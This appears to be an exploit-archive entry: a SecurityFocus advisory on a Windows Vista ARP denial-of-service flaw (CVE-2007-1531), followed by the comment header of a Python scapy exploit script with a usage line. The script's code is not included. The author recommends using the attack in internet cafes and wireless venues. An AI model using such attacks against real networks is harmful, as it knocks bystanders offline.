Microsoft Windows Vista ARP Table Entries Denial of Service Vulnerability

                                                source: http://www.securityfocus.com/bid/23266/info

Microsoft Windows Vista is prone to a denial-of-service vulnerability.

Remote attackers may exploit this issue by submitting malicious ARP requests to the vulnerable computer. To exploit this issue, attackers must have access to the local network segment of a target computer.

Remote attackers can exploit this issue to cause the network interface to stop responding, denying further service to legitimate users.

# Date: 20070514
# Reference: CVE-2007-1531
# Description: Microsoft Windows Vista (SP0) dumps interfaces when
# it receives this ARP packet.  This DoS is useful for an internet
# cafe, wireless venue, or legitimate local attack.  The victim will
# need to manually refresh their network interface.  OK, sure
# it's a dumb local attack, but why does Vista disable iface!?!??
# -> Thanks to Newsham / Hoagland
# Vulnerable: Microsoft Windows Vista (SP0) [All Versions]
# Tested:
# * victim == Windows Vista Enterprise (SP0) [English]
# * attacker == Ubuntu Feisty (7.04)
# Usage: python fISTArp.py <victim>
# Depends: scapy.py
# [?] If you don't have scapy
# [+] wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py
